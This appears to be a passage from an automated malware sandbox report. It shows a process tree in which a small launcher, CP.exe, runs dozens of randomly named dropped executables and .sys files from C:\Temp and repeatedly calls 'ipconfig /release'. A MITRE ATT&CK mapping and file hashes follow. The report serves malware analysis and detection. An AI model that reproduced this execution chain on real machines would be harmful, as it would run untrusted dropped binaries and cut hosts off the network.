      4⤵
      PID:5968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,18308171617132703435,7930443812102484093,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:14
      4⤵
      PID:4784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,7707570482633040188,7704724255179081842,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:14
      4⤵
      PID:4956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,12149819271534923726,2074548411061042780,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=6608 /prefetch:14
      4⤵
      PID:5688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6608,i,3375509354519699611,17849706477555438891,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
      4⤵
      PID:4920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,2711471354596616180,10002207154085009206,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
      4⤵
      PID:2420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5576,i,10961055145616592063,4275757536697271413,262144 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3444,i,2201997428019106055,11915526827461044571,524288 --field-trial-handle=2652,i,1378167735145009839,1445602764028767937,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:14
      4⤵
      PID:4728
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rojebztojg.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3004
- - C:\Temp\rojebztojg.exe
    C:\Temp\rojebztojg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5396
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2604
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4752
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rojebztojg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6084
- - C:\Temp\i_rojebztojg.exe
    C:\Temp\i_rojebztojg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4092
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jgbytroige.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5768
- - C:\Temp\jgbytroige.exe
    C:\Temp\jgbytroige.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5228
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5184
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2244
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jgbytroige.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4112
- - C:\Temp\i_jgbytroige.exe
    C:\Temp\i_jgbytroige.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5856
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qoigaytqli.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5736
- - C:\Temp\qoigaytqli.exe
    C:\Temp\qoigaytqli.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2888
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4636
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qoigaytqli.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3828
- - C:\Temp\i_qoigaytqli.exe
    C:\Temp\i_qoigaytqli.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4264
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifdavtnkig.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3056
- - C:\Temp\ifdavtnkig.exe
    C:\Temp\ifdavtnkig.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5764
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4544
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:440
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifdavtnkig.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5108
- - C:\Temp\i_ifdavtnkig.exe
    C:\Temp\i_ifdavtnkig.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fdxvsnhfax.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1356
- - C:\Temp\fdxvsnhfax.exe
    C:\Temp\fdxvsnhfax.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6012
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5516
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2536
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fdxvsnhfax.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5072
- - C:\Temp\i_fdxvsnhfax.exe
    C:\Temp\i_fdxvsnhfax.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4884
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnkicaxspn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4092
- - C:\Temp\pnkicaxspn.exe
    C:\Temp\pnkicaxspn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3756
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1116
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1176
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnkicaxspn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5136
- - C:\Temp\i_pnkicaxspn.exe
    C:\Temp\i_pnkicaxspn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1112
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fzxupmkhcz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2308
- - C:\Temp\fzxupmkhcz.exe
    C:\Temp\fzxupmkhcz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3672
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3540
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5420
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fzxupmkhcz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4972
- - C:\Temp\i_fzxupmkhcz.exe
    C:\Temp\i_fzxupmkhcz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4784
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecwuomhecw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6056
- - C:\Temp\ecwuomhecw.exe
    C:\Temp\ecwuomhecw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:992
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4648
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecwuomhecw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2536
- - C:\Temp\i_ecwuomhecw.exe
    C:\Temp\i_ecwuomhecw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4304
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgezwjhbz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2068
- - C:\Temp\omgezwjhbz.exe
    C:\Temp\omgezwjhbz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4592
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5776
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5832
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgezwjhbz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2404
- - C:\Temp\i_omgezwjhbz.exe
    C:\Temp\i_omgezwjhbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:404
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\geywrojhbz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5276
- - C:\Temp\geywrojhbz.exe
    C:\Temp\geywrojhbz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4384
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4844
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1444
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_geywrojhbz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4904
- - C:\Temp\i_geywrojhbz.exe
    C:\Temp\i_geywrojhbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bvtnljdbvt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2576
- - C:\Temp\bvtnljdbvt.exe
    C:\Temp\bvtnljdbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5212
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2128
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5324
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bvtnljdbvt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5748
- - C:\Temp\i_bvtnljdbvt.exe
    C:\Temp\i_bvtnljdbvt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5412
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avqnigdyvq.exe ups_run
  2⤵
  PID:704
- - C:\Temp\avqnigdyvq.exe
    C:\Temp\avqnigdyvq.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4104
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3948
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3984
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avqnigdyvq.exe ups_ins
  2⤵
  PID:3552
- - C:\Temp\i_avqnigdyvq.exe
    C:\Temp\i_avqnigdyvq.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1444
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ayvqnifays.exe ups_run
  2⤵
  PID:3160
- - C:\Temp\ayvqnifays.exe
    C:\Temp\ayvqnifays.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2440
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5744
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5252
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ayvqnifays.exe ups_ins
  2⤵
  PID:4264
- - C:\Temp\i_ayvqnifays.exe
    C:\Temp\i_ayvqnifays.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1084
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\causqnifay.exe ups_run
  2⤵
  PID:5412
- - C:\Temp\causqnifay.exe
    C:\Temp\causqnifay.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:624
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5344
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4980
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_causqnifay.exe ups_ins
  2⤵
  PID:1956
- - C:\Temp\i_causqnifay.exe
    C:\Temp\i_causqnifay.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2396
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhfzxspkhf.exe ups_run
  2⤵
  PID:948
- - C:\Temp\nhfzxspkhf.exe
    C:\Temp\nhfzxspkhf.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5160
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2860
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2040
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nhfzxspkhf.exe ups_ins
  2⤵
  PID:2372
- - C:\Temp\i_nhfzxspkhf.exe
    C:\Temp\i_nhfzxspkhf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4516
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jhfzxrpjhc.exe ups_run
  2⤵
  PID:4760
- - C:\Temp\jhfzxrpjhc.exe
    C:\Temp\jhfzxrpjhc.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5624
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2724
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:996
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jhfzxrpjhc.exe ups_ins
  2⤵
  PID:2648
- - C:\Temp\i_jhfzxrpjhc.exe
    C:\Temp\i_jhfzxrpjhc.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5692
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rmjecwuomg.exe ups_run
  2⤵
  PID:2492
- - C:\Temp\rmjecwuomg.exe
    C:\Temp\rmjecwuomg.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2684
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5512
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5660
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rmjecwuomg.exe ups_ins
  2⤵
  PID:5976
- - C:\Temp\i_rmjecwuomg.exe
    C:\Temp\i_rmjecwuomg.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1244
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomgeywroj.exe ups_run
  2⤵
  PID:1236
- - C:\Temp\uomgeywroj.exe
    C:\Temp\uomgeywroj.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4720
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4940
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4272
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomgeywroj.exe ups_ins
  2⤵
  PID:5820
- - C:\Temp\i_uomgeywroj.exe
    C:\Temp\i_uomgeywroj.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tolgebvtqo.exe ups_run
  2⤵
  PID:3420
- - C:\Temp\tolgebvtqo.exe
    C:\Temp\tolgebvtqo.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5684
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1796
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2412
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tolgebvtqo.exe ups_ins
  2⤵
  PID:5104
- - C:\Temp\i_tolgebvtqo.exe
    C:\Temp\i_tolgebvtqo.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vqnlgdywto.exe ups_run
  2⤵
  PID:3744
- - C:\Temp\vqnlgdywto.exe
    C:\Temp\vqnlgdywto.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3472
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5252
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4216
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vqnlgdywto.exe ups_ins
  2⤵
  PID:5532
- - C:\Temp\i_vqnlgdywto.exe
    C:\Temp\i_vqnlgdywto.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1084

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1000

C:\Temp\rojdbwtolj.sys
C:\Temp\rojdbwtolj.sys
1⤵
- Executes dropped EXE
PID:4324

C:\Temp\vtqljdywqo.sys
C:\Temp\vtqljdywqo.sys
1⤵
- Executes dropped EXE
PID:1252

C:\Temp\lidavsnkid.sys
C:\Temp\lidavsnkid.sys
1⤵
- Executes dropped EXE
PID:2832

C:\Temp\sqnifaysqk.sys
C:\Temp\sqnifaysqk.sys
1⤵
- Executes dropped EXE
PID:2396

C:\Temp\pnhfdxvpnk.sys
C:\Temp\pnhfdxvpnk.sys
1⤵
- Executes dropped EXE
PID:1148

C:\Temp\cxuspkhczx.sys
C:\Temp\cxuspkhczx.sys
1⤵
- Executes dropped EXE
PID:5832

C:\Temp\mjeurmkecw.sys
C:\Temp\mjeurmkecw.sys
1⤵
- Executes dropped EXE
PID:3352

C:\Temp\pmgezxrpjh.sys
C:\Temp\pmgezxrpjh.sys
1⤵
- Executes dropped EXE
PID:3160

C:\Temp\ljdbwtrljh.sys
C:\Temp\ljdbwtrljh.sys
1⤵
- Executes dropped EXE
PID:4860

C:\Temp\dywqoigayt.sys
C:\Temp\dywqoigayt.sys
1⤵
- Executes dropped EXE
PID:4320

C:\Temp\gdyvqoigdy.sys
C:\Temp\gdyvqoigdy.sys
1⤵
PID:5804

C:\Temp\fdyvqoigay.sys
C:\Temp\fdyvqoigay.sys
1⤵
PID:4556

C:\Temp\dxvpnifaxv.sys
C:\Temp\dxvpnifaxv.sys
1⤵
PID:2748

C:\Temp\hfcxupnkfc.sys
C:\Temp\hfcxupnkfc.sys
1⤵
PID:1276

C:\Temp\usmkecwupm.sys
C:\Temp\usmkecwupm.sys
1⤵
PID:5856

C:\Temp\rpjhecwurm.sys
C:\Temp\rpjhecwurm.sys
1⤵
PID:5812

C:\Temp\uomgezwroj.sys
C:\Temp\uomgezwroj.sys
1⤵
PID:4296

C:\Temp\qojgbytqol.sys
C:\Temp\qojgbytqol.sys
1⤵
PID:4184

C:\Temp\ytqoljdbyw.sys
C:\Temp\ytqoljdbyw.sys
1⤵
PID:444

C:\Temp\nlidbvtnlf.sys
C:\Temp\nlidbvtnlf.sys
1⤵
PID:432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c
MD5 0da87487a46ac0b219dfc10ebb7dbc09
SHA1 a58ed225df243160327f19f2d03ccb60693c562b
SHA512 cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4
SSDEEP 48:ieNHLtrCgTU534sKXG5BrBfdQSBe2nLB8JsU:dLlS3tpJ5un
TLSH
T12C91202301A68471C8BD8FF7118759C9FA7B51348311210C4AB30FD6E770A77456CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fdxvsnhfax.exe

Path C:\Temp\fdxvsnhfax.exe
Size 226KB
SHA256 b1f7efbd0272e1dc28ff41f6192dbdc28d335758ff73c506e080405c0f6b878b
MD5 23488889e6c6b0bf7145afb32fb39a23
SHA1 cf1f019321056cc382de51d0bebb46a57ae5284b
SHA512 9c3fc6de318d0b3f59e7b7cfe63794aea9c2e2686f28018d77d23f529018ba0f839042db91b4d10fd21762692e857efbad15b25e82cf59a7aa67cb3c8009fa38
SSDEEP 3072:OGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:lXY4LK+a3lLNngoqRttA7
TLSH
T17134490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_fdxvsnhfax.exe

Path C:\Temp\i_fdxvsnhfax.exe
Size 226KB
SHA256 5e53d7a62b731642b76a839d31cad17b2b016e4fa94ad31a66c34069d719ebf9
MD5 a911f863b561b2dcabaa17a9850e8452
SHA1 064ec267c451bf3d01f2c0d5ed494405c79f7e69
SHA512 634fcc4835ca5bf2c58bb16a650648564bffbcc3d7ad400f80ddf591e896a3e935090be87e5a2387c80e5d34a8e92735c8087b035829a569ecea21b833b2e096
SSDEEP 3072:TGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:yXY4LK+a3lLNngoqRttA7
TLSH
T1C734490272818071E7560B78046AE7A1467E7C384BA5E68FF7683F795A312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ifdavtnkig.exe

Path C:\Temp\i_ifdavtnkig.exe
Size 226KB
SHA256 ca2e8c092c1b74a58899ff3ebab87ce1d5d746d54849af766742a3b1c9992b9c
MD5 01a09ecf005e3a771f510b730d871771
SHA1 dafe5254837a4ac3a622a8367382ab79a23cff92
SHA512 463ef3dc9e34901e99cc61bce06802cdfdfcdbd6e2c3c0e71c27bc877a580b2a06daf7839311524f6d31599ce635e0623db71b276d0c43ab245882bff7592044
SSDEEP 3072:bGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:aXY4LK+a3lLNngoqRttA7
TLSH
T1C734490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jgbytroige.exe

Path C:\Temp\i_jgbytroige.exe
Size 226KB
SHA256 de4a61193170222feab3bb6aa406012fd47d7a3a35f3a59975773c5bbde69e30
MD5 5796ceb87cb9b33827018a8a3645c65c
SHA1 202bac66a8b56d5aef8908ca43c2f7dd7dac9ab5
SHA512 977205c5ec1c609d000848b603770112bd185b9ef216fe988fd51de08d3110aac52306451f29fe240b4d1a02728f2cac1cc26d5482940a3ec079130654655e1a
SSDEEP 3072:JGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:4XY4LK+a3lLNngoqRttA7
TLSH
T19A34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pnkicaxspn.exe

Path C:\Temp\i_pnkicaxspn.exe
Size 226KB
SHA256 71c9d6e814a8d008b3e81f8b131549baf15814a39e1d3832a3b21a53002db23f
